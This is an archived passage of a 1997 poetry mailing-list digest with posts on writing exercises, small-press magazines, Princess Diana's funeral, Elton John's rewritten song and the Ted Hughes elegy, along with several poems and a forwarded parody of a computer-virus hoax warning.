its excitement for me was its agonistic character. I've wondered what it wld be like to have this kind of negotiation with someone I don't know so well...

also, I have examples, but I'll have to dig them out...

Chris

..
Christopher W. Alexander etc.
nominative press collective

[redacted]
P.O. Box 522402 / Salt Lake City UT 84152-2402

http://choengmon.lib.utah.edu/~calexand/nonce

↑ Index

92. red slider
Re: Writing experiments
Tue 9 Sep 1997

I think this may be well known and understood but for what...In group exercises I've always favored those that began with the question, "What resources do the participants actually bring to the project? What different levels of expertise in various experience areas do we have in the room?"

By this I do not mean writing experience, but various techne from the student's lives that might be brought into an exercise. From that information, both collective and individual exercises may be developed which play upon various ways of having students bring those experiences into the project. When that knowledge pool is known (say needleworking, aviation mechanics, linebackers (always those), the one who just buried their father, and so forth) then interesting exercises may be devised by orchestrating those talents rather than starting from the position that the exercise (individualized and technical) must come first and the talent/experiences realized and revealed secondarily through the product. (needleworkers, incidently, seem to be terrific at meter)

a small example:

an avid reader of comic books was assigned the task of writing an imaginary train wreck. Predictably the result resembled several pages of wheels, sprockets, screetches, frozen tableau, thought baloons. Good imagery (powerful, clipped, visual), atrocious construction and a Toys R' Us collection of odds and ends. The piece was next given to a carpenter (who recently changed specialties from house building to cabinet making) with the instruction to treat the first material as if he had just gone to the lumber yard for materials. Using mainly those materials and some connectives and prepositions and so forth - construct the cabinetry and appliances for a kitchen sink. I don't have the piece anymore but I do recall the line "bubbling foam shot from her throat".

red

↑ Index

93. william marsh
Re: Writing experiments / collaboration / agony
Tue 9 Sep 1997

---

in truth, the game is much more process- than
> product-oriented, &, while I like the work that came out
> of it, much of its excitement for me was its agonistic
> character. I've wondered what it wld be like to have
> this kind of negotiation with someone I don't know
> so well...
>
> also, I have examples, but I'll have to dig them out...
>
> Chris
> ..

Chris

much interest in reading about your collaborative process / thanks / two things as well in your post interest me:

the idea of collaboration (especially using email) with someone you "don't know so well" / this past year i worked with a friend in Vancouver (carl peters, also a list-member) on a collaborative back-and-forth e-essay on Keats and Wordsworth (must admit it was mostly carl's enthusiasm that carried the piece) which was something very new for me / email affords that opportunity for rapid transfer and -lation that may not work so well via snail-correspondence / any-way, the only way i know carl is through email (met very briefly at the Blaser conference a couple summers back), and i'm sure others on the list have similar e-friendships that offer interesting opportunities for this kind of quasi-distant collaboration

also, the "agonistic" nature of the collaborative process, which of late i've considered applicable to the writing process in general: roughly, the coil-recoil of "agonistic" and "antagonistic" forces played out in dramatic (?) fashion in the construction of a work / did a little research a while back on the early greek meanings of "agon" but haven't the notes handy / maybe someone else...?

bill marsh

↑ Index

94. Steven Clay
Drucker on artists' books
Tue 9 Sep 1997

Johanna Drucker's landmark study 'The Century of Artists' Books' is now out in paperback!

The cover blurb:

"This is the first full-length study of the development of artists' books as a twentieth century artform. This work situates artists' books within the context of mainstream developments in the visual arts from Russian Futurism and Surrealism to Fluxus, Conceptual Art, to Postmodernism. Topics include the discussion of the poetics of the book, the book as a metaphor, the conceptual space of the book, and books as narrative and non-narrative sequences. The book provides a foundation for future work in the history and critical interpretation of artists' books as well as offering a structure for teaching artists' books to practitioners, collectors and curators."

Don't miss this one. 377 pp. 200+ black & white photographs. $24.95 (+ sales tax in New York) and $6.00 postage. *****Poetics list subscribers take a 20% discount = $20 (+ appropriate sales tax + shipping)****

Published by Granary Books
568 Broadway #403
New York, NY 10012
[redacted]

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95. red slider
Re: Writing experiments
Tue 9 Sep 1997

Kinesthetic Palimpsest Exercise: write a poem (or copy over the top of one you find particularly emotion producing) on top of a stack of #16 or #18 paper with a sturdy ballpoint (bic works fine) taking care to bear down as phrases or fragments evoke feelings in you and less pressure where they don't. Remove the top sheet, locate and copy over the tracing left on the undersheet. Compress or arrange as you like and use just those in the next layer of palimpsest. Stop when almost every word can be clearly seen on the under page or, up the ante and use two-sheets between layers.

red.

↑ Index

96. Henry Gould
writing experiment
Wed 10 Sep 1997

This is a simple writing experiment appropriate for any writing class, from primary grades through senior citizen. All you need is a pencil, a sheet of paper, a pair of pliers, a toothpick, an old transistor radio, and a group of enthusiastic would-be writers.

First, place the paper and writing implement (i.e. the pencil) on a solid, flat surface. Take the pliers & smash or pry off the plastic frame of the radio (yard sale radios are cheap and work fine). Use the toothpick and pliers to create a nifty brain-antennae by attaching to handy forehead area of the writer. Pull out the transistor section of the radio and attach as best you can to the toothpick. After making sure the batteries are still functional, turn on the radio. Set volume to medium - not too loud. Now - using the pencil and paper, write down whatever comes through. You can switch channels, adjust the volume, whatever helps you in the writing process.

Once you have mastered this nifty experimental technique, you can teach it to others. Flairie McDougal, of the Writelit Project in East Lansing, MI, has produced an entire anthology of brain transistor poetry, titled HEAD SWITCH - POETRY FROM FOUR HUNDRED FOREHEADS, which will be available soon from Univ. of Left Overbie Press. Reserve your head trips now - only $24.95 pre-ordered. Special to list members.

& try it yourself! It works! Try AM 630 in Detroit - especially good for inspiration! (Jeannie Klappert heard the voice of Di there!) - Jack Spandrift

↑ Index

97. Mark Wallace
Misc. Proj.
Wed 10 Sep 1997

I'd like to point everyone in the direction of a very useful discussion between David Shapiro and Joseph Lease about the role of the "I" in poetry that appeared in the new issue of the Mark Prejsnar edited newsletter Misc. Proj. Mark's lurking around the list here somewhere, and I'd encourage you to contact him about the newsletter. There's been intriguing poetry and critical writing in each issue, but the Lease and Shapiro exchange (originally an e-mail discussion, I take it) seems particularly timely and useful.

Mark Wallace

/----------\ |
| | [redacted] | | GWU:

| | http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

↑ Index

98. Susan Wheeler
a poem of Han-Shan's/Poetics Digest
Wed 10 Sep 1997

David (Israel!) -- I remember your earlier postings re Han Shan poem and like all, this last version stellar. On an unrelated note, I've been re-reading Fenollosa and wonder if you might shed some light on his emphasis on verbs in the Chinese language -- is the action, or relation, between agents really the primary focus of Chinese words, as he maintains? Back-channel would be appreciated! Thanks -- and also to Red for that great expertise-milking exercise. Susan Susan Wheeler [redacted] voice/fax [redacted]

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99. David R. Israel
b.t.w.
Wed 10 Sep 1997

esteemed poetas,

when I first saw this msg., I almost trashed it. But as I read beyond the first few words, it got good.

Thought you'all might find it of passing interest.

d.i.

------- Forwarded Message Follows -------
Date: Tue, 9 Sep 1997 20:42:12 +0000
From: William Limbacher <[redacted]>
Subject: (Fwd) virus alert (fwd)

This just in : NEW VIRUS WARNING

If you see a message on the boards with a subject line of "Badtimes," delete it immediately WITHOUT reading it. This is the most dangerous virus yet.

It will re-write your hard drive. Not only that, but it will scramble any disks that are even close to your computer (20' range at 72 farenheit). It will recalibrate your refrigerator's coolness setting so all your ice cream melts and milk curdles . It will demagnetize the strips on all your credit cards, reprogram your ATM access code, screw up the tracking on your VCR and use subspace field harmonics to scratch any CDs you try to play.

It will give your ex-boy/girlfriend your new phone number. It will program your phone autodial to call only your mother's number.

It will mix antifreeze into your fish tank. It will drink all your beer and leave its dirty socks on the coffee table when there's company coming over.

It will hide your car keys when you are late for work and interfere with your car radio so that you hear 1940's hits and static while stuck in traffic.

"Badtimes" will make you fall in love with a hardened pedophile. It will give you nightmares about circus midgets. It will replace your shampoo with Nair and your Nair with Rogaine, all while dating your current boy/girlfriend behind your back and billing their hotel rendezvous to your Visa card.

It will seduce your grandmother. It does not matter if she is dead, such is the power of "Badtimes", it reaches out beyond the grave to sully those things we hold most dear.

It will rewrite your back-up files, changing all your active verbs to passive tense and incorporating undetectable misspellings which grossly change the interpretation of key sentences.

"Badtimes" will give you Dutch Elm disease. It will leave the toilet seat up and leave the hairdryer plugged in dangerously close to a full bathtub. It will wantonly remove the forbidden tags from your mattresses and pillows, and refill your skim milk with whole. It is insidious and subtle. It is dangerous and terrifying to behold. It is also a rather interesting shade of mauve.

These are just a few signs. Be very, very afraid. PLEASE FORWARD THIS MESSAGE TO EVERYONE YOU KNOW!!!

Fritz
[redacted]

Two rules for living a successful life: (1) Don't tell everything you know.

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100. rob wilson
Elton John translates Elton John/Bernie Taupin
Wed 10 Sep 1997

I do not feel like commenting on Ted Hughes's poem for Di-- I have nto read it (although that never stopped a cultural critic/anxious poet), but I would like to say a few meandering words about a mass media poem now inscribed in the domains on "global popular culture" (namely, our collective whitmanic heads):

"Candle in the Wind." Now I realize that trope of fugitive delicacy is not gong to win any vanguard-metaphor awards, but I must admit that the funereal combinatio n of that passage from Corinthians on caritas, the Elton John canonization-of-a-goddess lyric, and the scathing and oblique funeral oration were quite moving to me. I would invoke some term like 'ecclesiastical sublime' to describe it, but here my lapsed-catholic childhood and array of car accident deaths would enter in and I do not want to bore you with personal specifics. But I must say that, in hearing Elton John translate the 1973 version of his/ Bernie Taupin's lyric for Marily Monroe into a song for "England's rose" whose face is written in the stars and whose feet "forver trod on England's greenest hills," I was amazed how the Monroe-subtext got laundered out in almost all respects. The whole critique of predatory media hounding MM to death, gazing at her naked dead body, feastin on her pain and so on (as well as her own complicity in that apparatus of celebrity glamor-mongering) was completely sublimated into a hymn to a people's princess, a goddess of immortal beauty, a fugitive spirit passing through the spendid machinery of god, church, and UK nationhood. Now I take my neo-platonism wherever I can find it, from Smokey Robinson to Bleu Velvet, but I must admit that the previous lyric of ye old Elton/ Bernie (unless I filter it in as some kind of hidden subtext) had much more punch to it, pathos with a kind of rage and contempt (which Elton later had to displace on to Madonna, who ca handle it). So that poem goes into the public domain, and i am glad for it much more than for any work by Ted Hughes I must admit, but I just wonder about well say the complicity of such banal metaphors and soporific sublimity in creating a mood that made, say, Christopher Hitchens "puke all week" as he watched the rescue of the House of Windsor by (ironically) the House of Spencer (Elton John playing Edmund Spencer for the Fairie Queen of our aristocratic nostalgia to worship those of breeding "to beauty bred"). While I am going on a bit long about self-translatoin/translation, I have a brief question for David Raphael Israel translating Han Shan's "Cold Moutain" poems. I have read and took to my language-ridden heart the gary Snyder "Cold Mountain" poems in his translatoin (is it from around 1965? Kerouach has Japhy Rhyder (GS) working on them in "Dharma Bums which ends up a la Han Shan "sitting" in the mountains of Desolation Peak Washington or some such). Snyder's translations had a gnarled, raunchy, collquial, idiomatic twist to each phrase. I find your version a bit archaic in diction, with all kinds of Augustan inversions and word choices. What is the gain in such a translatoin by you? Are you pushing Han Shan towards a kind of formality of diction, a kind of high style phrasing? A student of mine, Steve Bradbury, was long working on Ho Chimin's poems, and wanted to bring back some of the formality/wit he felt American translators were losing in their moves from Chinese language into a quasi-Whitmanic free verse (see the issue of boundary 2 with those devious Bernstein/Mayer language experiments in it and the self-

translation of Charles Bernstein by Charles Berstein into the "interview genre of selfhood" a la Paris Review). I have already taken too much of your computer space. Regards from the enclaves of bad and devious prose, Rob Wilson

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101. Joe Amato/Kass Fleisher

Re: Elton John translates Elton John/Bernie Taupin

Wed 10 Sep 1997

---

rob, i'm happy you've seen fit to mention ej's rerendering of "candle in the wind"... personally, i too was moved, muchly, by blair/john/and the earl... i mean, moved beyond my sense of being exploited, or of exploitation taking place, or of sheer bombastic global media event, or of some presumed tragic realization of a monarchy in the throes... in fact, and though as you know i generally like hitchens, i found the moment completely absorbing, felt not a whit like puking... in fact i was all welled-up!... and in fact i prefer john's new version to the old!---i prefer it being about di's death than about mm's, even w/o the gay subtext that i assume forms part of the positive response to this tune...

anyway, i found mself thinking about why our various publics, me too, seem to need this oportunity to grieve---just assuming for a split-second that this desire hasn't exactly been foisted onto us... i mean, publics such as the u.s., which, it seems, do so little in the way of mourning, have in so many cases converted funerals and death and such like into yet another exercise in fast-food (yeah) convenience (monty python once riffed on this, as i recall)... i'm not sure the answer is to be found in global theater, either... i think there may be a very real need---dare i say human-societal need?---to come to terms with the significance of what many of my students call 'passing'...

at the grocery check-out line last saturday eve, kass and i chatted with the cashier, who told us she'd been watching "too much funeral"... and then she paused, saying

ain't it weird, though?

be interested in what other folks think, esp. you folks on that side of the atlantic...

best,

joe

↑ Index

102. Brian McHale

Re: Elton John translates Elton John/Bernie Taupin

Wed 10 Sep 1997

Good posting from Rob Wilson on Elton John's sublimation of Marilyn in Princess Di BUT please let's not confuse our Spen(s)(c)ers: Edmund Spenser-with-an-s might have been an intellecutal pimp for the Faerie Queene, but he's not an an- cestor of the Spencers-with-a-c who so obligingly freshened up the Windsor gene pool with those tall blonde genes of theirs. Credit where credit's due, like- wise blame. Brian

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103. Timothy Materer

1. Hughes Poem 2. Elton John translates Elton John/Bernie Taupin

Wed 10 Sep 1997

---

1. rob wilson: "I do not feel like commenting on Ted Hughes's poem for Di-- I have not read it"
So, here it is:

Mankind is many rivers
That only want to run.
Holy Tragedy and Loss
Make the many One.

Mankind is a Holy, crowned
Mother and her Son.
For worship, for mourning:
God is here, is gone.

Love is broken on the Cross.
The Flower on the Gun.

2."I must admit that the previous lyric of ye old Elton/Bernie (unless I filter it in as some kind of hidden subtext) had much more punch to it, pathos with a kind of rage and contempt"

Still, Elton John is an exemplary modernist or pomod/ in recycling an earlier song and setting up the Marilyn/Diana equation thanks to the ghost of the earlier text.

Timothy Materer, 228 Tate Hall, English Department
University of Missouri, Columbia MO 65211
http://www.missouri.edu/~engtim

↑ Index

104. red slider

Re: Badtimes Sampler

Wed 10 Sep 1997

```
OO
  h
    h
      h
       h
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        h
         m
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             y
                yyyyyyyyyyyyyyyyyy?
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Actually I tried it - worked wonderfully. All things nicht & noxious now eliminated from my life. Small side-effect successfully managed by tethering milk and ice-cream at bottom of pond and tying other end to nearby chaise lounge. Computer residue sent to Museum of Modern Art for next installation. Pedophile paradox negotiated by falling for midget pedophile. She found my nightmares so arousing that she has successfully realligned her predeliction to target Epstein-Barr comic illustrators. As soon as I finish my "Be An Artist In Your Own Home Guaranteed" correspondence course we plan to be married.

This version of Badtimes set only to transfer you bank accounts to Red Slider, Ink. and soap your windows. If you'd like the full version please send what's left of your spare change to Badway distributors c/o my po box.

thank you,

Red Slider
Badtimes Distributor &
Artist-in-Residue

From: David R. Israel[SMTP:[redacted]]
Sent: Wednesday, September 10, 1997 8:27 AM
To: [redacted]
Subject: b.t.w.

esteemed poetas,

when I first saw this msg., I almost trashed it. But as I read beyond the first few words, it got good.

Thought you'all might find it of passing interest.

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Fritz
[redacted]

Two rules for living a successful life: (1) Don't tell everything you know.

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105. **red slider**
Re: 1. Hughes Poem 2. Elton John translates Elton John/Bernie Taupin
Wed 10 Sep 1997

2."I must admit that the previous lyric of ye old Elton/Bernie (unless I filter it in as some kind of hidden subtext) had much more punch to it, pathos with a kind of rage and contempt"

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Timothy Materer, 228 Tate Hall, English Department
University of Missouri, Columbia MO 65211
http://www.missouri.edu/~engtim

He does not qualify as bricoleur, though, since he's essentially recycling his own prior fabrications - junk engineering I'd say.

red

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106. **Don Cheney**
Re: Elton John translates Elton John/Bernie Taupin/Mounds Bar Connection
Wed 10 Sep 1997

Isn't "ecclesiastically sublime" the catch-phrase from the ad campaign for the MOUNDS candy bar?

Don

Rob Wilson wrote:
>from Corinthians on caritas, the Elton John canonization-of-a-goddess
>lyric, and the scathing and oblique funeral oration were quite moving to
>me. I would invoke some term like 'ecclesiastical sublime' to describe
>it, but here my lapsed-catholic childhood and array of car accident deaths

==========
Don Cheney San Diego, CA, USA
http://www.geocities.com/Paris/5791
[redacted]
==========

↑ Index

107. red slider
still at large
Wed 10 Sep 1997

It still remains that we need to locate the negatives of the final exposure - they ought be transferred at once to the Vatican catacombs and stored with the sepulchre of you-know-who.

red

↑ Index

108. Mark Prejsnar
Misc. Proj, missed projection mess process
Wed 10 Sep 1997

This morning I back-channelled Mark Wallace to thank him for the nice plug re: Misc. Proj. #3...

It just occured to me that I should reiterate the info folks need to order it:

single issue--$1.00
subscription to 4 issues--$3.50

Make all checks out to Mark Prejsnar.
and send to

641 N. Highland Ave. NE, #11
Atlanta, GA 30306

****
The issue includes mag and book reviews and new writing by David Shapiro, Joseph Lease, Sheila Murphy, Peter Ganick, John Lowther and others.

thanx again to Mark Wallace, whose own mag, Situation, is one of the brighter entities illuminating the current scene...

Mark Prejsnar
Atlanta

↑ Index

109. p. durgin
Re: Misc. Proj, missed projection mess process
Wed 10 Sep 1997

Hello Mark, et al
so where do we write
for a copy of this Situation thing that Wallace
edits? And does anyone know if Wallace's "Towards a Free Multiplicity of Forms" essay is still available on line?

I[I]I [redacted] I[I]I

On Wed, 10 Sep 1997, Mark Prejsnar wrote:

> *This morning I back-channelled Mark Wallace to thank him for the nice plug re: Misc. Proj. #3...*
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>
> *Mark Prejsnar*
> *Atlanta*

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110. Christopher Reiner
Re: Misc. Proj, missed projection mess process
Wed 10 Sep 1997

Yes, Mark Wallace's essay "Towards a Free Multiplicity of Form" is still online at

http://www.crl.com/~creiner/witz/form.html

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111. Eliza McGrand

Re: 1. Hughes Poem 2. Elton John translates Elton John/Bernie Taupin

Wed 10 Sep 1997

---

my god. this hughes poem is
W R E T C H E D!!!!

please, don't put something like that up without a "Could Be Dangerous To Your Health" warning timothy! but thanks for putting it up anyway.

re diana spencer's death, it has hit me horribly, i think because we are the same age, and i (along with many women i know) have gone through much of what she has in certain ways, so there is empathy along female lines (rejection, elation, work/children, betrayal, public betrayal, revenge, etc). we have all been discussing alot. it is hard to talk about past a certain level, sort of liek the anita hill/clarence thomas and the oj thing. one gets to a level of pain that is very silencing. her brother's funeral oration, in that it spoke the unspeakable, gave voice to so many strands of what was happening in a raw, honest kind of way, was extraordinary. i wept watching, and i don't often weep.

i work in hospice, and it has been a very very bad week (lost five patients this week, one very close, one fairly close) and so i speak from position of one immersed in funerals/death. but it is, from my perspective, rare for anyone to be so blazingly honest, and strong about confronting tasks for future and their roots in past. all too often, the gilding comes out.

as for saving house of windsor, i think the queen has come out of this looking pathetically (almost) awful, charles even worse, and so i wouldn't really say the house of windsor was saved by it all. the children were always fetching, photogenic, and charming, and have continued to be so. the only difference is that it is clear, now, that they are the future, not prince charles.

my biggest dilemna has been the tabloids. i always read them in grocery store lines, and now i feel too uncomfortable to do that. on the one hand, it is good to see celebs punctured -- frank gifford, for example, after the Moral Majority stance he seemed to assume, as well as kathy lee's stunning openness and pain as betrayed wife have brought the issue out to the public as nothing else has in a long time. but on the other, the kind of stalking princess diana suffered was hideous. david bromiges' post was, as always, brilliant other side. i am now working out in my mind alot of thoughts about public and private life, what shoudl be what... e

↑ Index

112. Don Cheney

Re: 1. Hughes Poem 2. Elton John translates Elton John/Bernie Taupin

Wed 10 Sep 1997

---

i was visiting my brother in the L.A. area this weekend and we were in the supermarket (Stater bros.), standing in the checkout line and he pointed to the empty slots where the tabloids used to be and stated that the supermarket was boycotting them because of Princess Di's death. then he pointed to the liquor area of the store and pointed out that that was still FULL UP, not taken off the shelves in protest. as i understand it, the driver of the car was hammered, three times over the french legal limit for blood/alcohol level.

don

> *my biggest dilemna*
> *has been the tabloids. i always read them in grocery store lines, and now*
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==========
Don Cheney San Diego, CA, USA
http://www.geocities.com/Paris/5791
[redacted]
==========

↑ Index

113. red slider

Re: Pavement for a Dead Princess - readablility

Wed 10 Sep 1997

Martin Hickle informed me that the pavement background for "Pavement for a Dead Princess" was hard/impossible to read on some browsers. I have put a link in the original to a second copy without the background. Try again if you had problems the first time - my appologies.

red.

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114. **Pritchett,Pat**

Re: Elton John translates Elton John/Ber

Wed 10 Sep 1997

Rob: I certainly agree with your comments on the sublimation process at work in John's new version - it smacks of the kind of defensive revision/repression Wordsworth performed in _The Prelude_ for instance and which Yeats was known for as well. And, too, one can't fail to notice the Blakean allusion in John's line about "England's green hills," equating Diana with Christ himself! In the unwieldy effort to conflate these two disparate icons, a certain necessary elision must take place I suppose. I marvelled not only at how swiftly D's apotheosis took place, but also at where it occured: at the intersection of royal tradition and pop fetishization.

Appended is a poem re: the media event of Diana (rather than D. herself). I happened to be studying ballads that day. Some of the quotes are from the Norton Anthology, including its footnotes; some from _On Signs_, edited by Marshall Blonsky, which contains a detailed critique of the royal wedding.

ELEGAIC PASTICHE

Narrative details might form
a ballad about a princess
or any handsome young woman
"who would fain lie down."
But to classify the subject
by meters, focussing on
a catastrophic moment,
would also signal the typical
betrayal and elevation
of a TV loneliness
as attested to by
the attendance of crowds
and the spectacle of roses
and signatures, which are all
we have really, when you come
down to it.
        Of a loveliness that daily
fed us nothing is certain
but the crisis of its aftermath.
It involves images of dearness,
replicated many times.

Kissing "the wounds that were so red."
"A species of deer distinguished"
by a supernal color
so that its gawky movements,
fabricated as they are,
give us a sense that an increase
in the amount of available light
is what lends consumerism its tragic tone,
the lieux de memoire of
the "lost participatory dimension."

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115. **rob wilson**

Re: Elton John translates Elton John/Ber

Wed 10 Sep 1997

"Of a loveliness that fed us nothing"/
"daily"
your line that says it all the royals now feeding on Blake and Jesus to
consecrate their own lineage once again
and we can only weap and applaud in the wings of westminister abbey
or more likely be cleaning the chimney sweep so that the Mercedes Benz
can dematerialize into drunken light at 120MPH
and we can clean up the fragments of a saint
who was no Dionysisus Crucified
and Elton John can suck melancholy from the rose of England
Di flipping over into Saint Theresa of the orphic tombs
and we should read htis whole media act "through a glass darkly"
puking into Vanity Fair with some cultural critiques for good measure

On Wed, 10 Sep 1997, Pritchett,Pat @Silverplume wrote:

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replicated many times.
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"A species of deer distinguished"
by a supernal color
so that its gawky movements,
fabricated as they are,
give us a sense that an increase
in the amount of available light
is what lends consumerism its tragic tone,
the lieux de memoire of
the "lost participatory dimension."

↑ Index

116. Henry Gould
Re: Elton John translates Elton John/Ber
Wed 10 Sep 1997

As I journeyed through the town of Ephesus
where silver-tonged photographers drove out
St. Paul (for threatening their trade
in the Diana biz) I noticed
in a melancholy back alley
the statue of the Unknown Poet -
defaced with anti-John graffiti,
drowning in bouquets
of infinite
assembly-line
Parisian
ressentiment

- Eric Blarnes

↑ Index

117. red slider
Re: 1. Hughes Poem 2. Elton John translates Elton John/BernieTaupin
Wed 10 Sep 1997

From: Don Cheney[SMTP:[redacted]]
Sent: Wednesday, September 10, 1997 11:36 AM
To: [redacted]
Subject: Re: 1. Hughes Poem 2. Elton John translates Elton John/BernieTaupin

i was visiting my brother in the L.A. area this weekend and we were in the supermarket (Stater bros.), standing in the checkout line and he pointed to the empty slots where the tabloids used to be and stated that the supermarket was boycotting them because of Princess Di's death. then he pointed to the liquor area of the store and pointed out that that was still FULL UP, not taken off the shelves in protest. as i understand it, the driver of the car was hammered, three times over the french legal limit for blood/alcohol level.

don

expect both general grocery and specialty liquor sales will show anticipated increases through third week of promotions and then fall back to normal levels.

red.

↑ Index

118. Lawrence Upton.
Re: Elton John translates Elton John/Ber
Wed 10 Sep 1997

Pritchett,Pat @Silverplume <[redacted]>

wrote of Elton John's next hit

<<And, too, one can't fail to notice the
> Blakean allusion in John's line about "England's green hills," equating
> Diana with Christ himself!
>>

Maybe... it may be that he doesn't know the quote's source particularly but has come to something in the public domain associatively... this has been a good week for Elgar and Vaughan Williams. I don't think he is as consciously a maker as Yeats and Wordsworth

Others than Christ will walk on the hills of the green and pleasant land... the reference DOES suggest, I think, that through the intercession of Diana - co-co-redemptress - we can build the new Jerusalem using only a small donation and a bunch of flowers

Microwave the new heaven and new earth while you're in the shower getting rid of dark satanic pollution

I haven't heard this week of all weeks - referenda on Scottish and Welsh Assemblies - anyone complain that the the princess of WALES is located by EJ in England

Lawrence Upton

↑ Index

119. Pritchett,Pat
Re: Elton John translates Elton John/Ber
Wed 10 Sep 1997

Dear Eric,
that was pretty good!

"Set phasers on pillow fight."

"If an ass stares into a tabloid, don't expect a saint to stare out - except maybe sometimes."

 - The Pseudo-Diogenes

From: Henry Gould
To: POETICS
Subject: Re: Elton John translates Elton John/Ber
Date: Wednesday, September 10, 1997 3:30PM

As I journeyed through the town of Ephesus
where silver-tonged photographers drove out
St. Paul (for threatening their trade
in the Diana biz) I noticed
in a melancholy back alley
the statue of the Unknown Poet -
defaced with anti-John graffiti,
drowning in bouquets
of infinite
assembly-line
Parisian
ressentiment

- Eric Blarnes

↑ Index

120. Charles Bernstein
Ear at HERE
Wed 10 Sep 1997

---

a slow response to a question that came up last month on the list:

The Ear Inn series in New York has moved to HERE, just around the corner from the Ear, and will be continuing in October on Saturday afternoons. I hope we will be able to get the full schedule posted before too long. HERE is at 145 Sixth Avenue (near Spring) and the phone number is [redacted].

↑ Index

121. Thomas Bell
Re: Pavement for a Dead Princess - readablility
Wed 10 Sep 1997

Missed original url. Please repost or backchannel.
tom bell

At 12:12 PM 9/10/97 -0700, red slider wrote:
>Martin Hickle informed me that the pavement background for "Pavement for a
>Dead Princess" was hard/impossible to read on some browsers. I have put a
>link in the original to a second copy without the background. Try again if
>you had problems the first time - my appologies.

>
>red.
>
>

↑ Index

122. **red slider**

Re: Pavement for a Dead Princess - readablility

Thu 11 Sep 1997

Missed original url. Please repost or backchannel.
tom bell

http://www.ns.net/~TheFarm/poetry/Poetry_Lobby.htm

↑ Index

123. **George Bowering**

Re: 1. Hughes Poem 2. Elton John translates Elton John/Bernie Taupin

Thu 11 Sep 1997

> *i was visiting my brother in the L.A. area this weekend and we were in the supermarket (Stater bros.), standing in the checkout line and he pointed to the empty slots where the tabloids used to be and stated that the supermarket was boycotting them because of Princess Di's death. then he pointed to the liquor area of the store and pointed out that that was still FULL UP, not taken off the shelves in protest. as i understand it, the driver of the car was hammered, three times over the french legal limit for blood/alcohol level.*
>
> *don*

Quite right.

Are there, now, still places in the USA where seat belts are optional?

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

124. Alan Jen Sondheim
(from Jennifer)
Thu 11 Sep 1997

-

Julu Resurrectus

Turned and torn where Julu Born, She would have been!
Give me a name: Julu
New user...
Give me a password:Resurrecta
Please confirm password:"Jennifer, where are you?"

Passwords do not match.

Give me a name: Julu
New user...
Give me a password:Resurrectus
Please confirm password:Resurrectus

You have now entered the Portal of this Reality.

/*Julu enters the doors. Julu runs into the space. Julu tries out her limbs. Julu tries out her hat. Julu tries out her feet on the floor of the space. Julu tries out her hands on the walls of the space. Julu Resurrectus. Long in the long-laid ground.*/

Welcome back Julu to your space and your home. Look.
There is nothing special here.
Laugh.
Julu laughs at Jennifer who watches the arrival of her friend with
tearful eyes.
You have a swollen belly, Jennifer, says, Julu, who is the little
tyke?

It is Alan's love, says smarmy Jennifer, and I will grow but I will not explode.

/*Jennifer sits and sits.*/

Julu thinks, God this is really stupid. So what if we went into the Bre- vard talker and had a fake discussion? What difference does it make - and it's so simple to fake the real when the real's funneled through a sieve, as if dyads ruled the world!

The song-book here is the fake-book and the real is the belly. Alan just doesn't see himself anymore. Julu says, I know this for a fact, this self- indulgent post - and she was right, everything he does is autobiography, raking the coals of his

past, listen if you still have the time and the grace to see where the birth's come from, this arrival - or maybe the pre- science of cyberspace, after all, quoting him _exactly_ from his Disorders of the Real, that word again, that belly which he now knows is the belly:

"Alan Sondheim

"Alan Sondheim lives in another world, just like our own.
He could not tell one from the other.
He was sure they were joined at the horizon.
Alan Sondheim saw the world was his.
He'd say, 'Hi, world!'
He saw the world in a mirror, except for a corner,
a hinge. He couldn't move in that close.
There was always the mirror to contend with.
Alan Sondheim would listen to you speaking and would
listen to Alan Sondheim listening to you speaking.
Sometimes he would miss a sentence or two.
He would catch up when he stopped listening.
Alan Sondheim knew that the world was doubled.
He saw that it was halved. He had half of
everything but he could always skip a line.
He had half of everything but nothing puckered.
It puckered where everything was.
Alan Sondheim would watch it burst, but it would burst
in one world and not the other, not even fragments
would burst from one world to the other.
Alan Sondheim was not joined at the horizon.
He did not hear or see so well. He heard his own
heartbeat when he could make everything quiet. He
could make everything quiet and even his own death
quiet. He would see the stuffing of the world first
and then the world. Alan Sondheim would hardly hear
because of the stuffing of the world. He could hardly
see, either."

/*Jennifer sits and sits.
Jennifer swells her belly.*/

↑ Index

125. Karen and Trevor
RON SILLIMAN
Thu 11 Sep 1997

Sorry to have to post for general consumption but...

Ron-
14 Hills is having problems retrieving your attached file. Would it be possible to send it to me personally [redacted]
?

Thanks much

Karen McKevitt

↑ Index

126. David Bromige
The Marginalization of Poetry
Thu 11 Sep 1997

AUTHENTICIZING 14

The Marginalization of Poetry

If I were a poet
In this world of poor mutts
Of crazed historians [shd all be bold, italicized, centered
Pushing Safeway carts
Across parking lots
Where shoppers drive
With no sense of protocol
Where le peuple thrust
Into the elevators
Before le peuple get out
Where the President's son
Bilked an electorate
Out of S & L millions

Who, scant years later, unpunished,
Ran himself for President,
If I were one touched with vision
In the older construation
Fetched into this present
Where murders convenient
To powerful persons
Were always acts of "crazed

Loners," where wealth
Entrenched itself & its children
And pity was an armband
Easily discarded at day's end,
If I were one touched with fire

And were I not, why bother,
What I would occupy would be the center,
Having studied what's been done,
Take myself as measure,
Whoever any given morning
He might be, this I,
And my poetry would be the best,
Ignored because of that,
Feared & reviled because of that,
That avant garde imperative
That blurts out truths,
discomforting, inprovable,
And everyone be marginal but me

↑ Index

127. Mark Wallace

mutual plugs

Thu 11 Sep 1997

Thanks to Mark P. and others for several mentions of the magazine SITUATION, which I co-edit with Joanne Molina.

Subscriptions are $10 for four issues, $3 for back or single issues. Please write to SITUATION, 10402 Ewell Ave., Kensington, MD 20895. Checks should be made payable to Mark Wallace. Our most recent issue, #15, featured work by Rachel Loden, Sherry Brennan, John Lowther, Standard Schaefer, Mary Burger and others.

Mark Wallace

/----------\ |
| | [redacted] | | GWU:
| | http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

↑ Index

128. acgold01
Twentieth-Century Literature Conference
Thu 11 Sep 1997

List veterans will recognize this as my annual contribution to discussion: Oct. 1 = postmark deadline for submissions (critical, creative, and all things in between). The Twentieth-Century Lit. Conference now has a web site with all the necessary info--http://www.louisville.edu/a-s/cml/xxconf/

The Conference has a history (well, I think so anyway) of receptiveness to "alternative" poetics--at least in terms of papers (I don't have anything to do with the selection of "creative" submissions), so do consider coming.

Alan

↑ Index

129. Charles Bernstein
Barnard New Poets Prize for 1998
